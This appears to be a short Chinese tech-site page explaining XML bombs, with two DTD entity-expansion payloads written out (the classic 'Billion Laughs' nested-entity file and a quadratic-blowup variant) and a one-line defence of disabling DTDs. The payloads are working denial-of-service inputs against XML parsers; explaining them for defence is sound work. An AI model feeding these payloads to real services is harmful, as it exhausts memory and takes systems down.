XML炸弹

XML炸弹
XML document type definition (DTD)能够定义entity,DTD能够出如今外部文件或文件内部。
利用DTD能够产生XML炸弹,也就是能迅速占用大量内存的文件,以下为例:
当XML解析器尝试解析该文件时,因为DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。spa

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version= "1.0" ?>
<!DOCTYPE lolz [
<!ENTITY lol "lol" >
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;" >
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" >
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" >
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" >
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" >
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" >
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" >
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" >
]>
<lolz>&lol9;</lolz>

还有一种,虽然扩展率没那么大,也颇有效。200K的可以扩展到2.5G。code

1
2
3
4
5
<?xml version= "1.0" ?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa..." >
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

 

防护XML炸弹
禁止DTDxml

相关文章
相关标签/搜索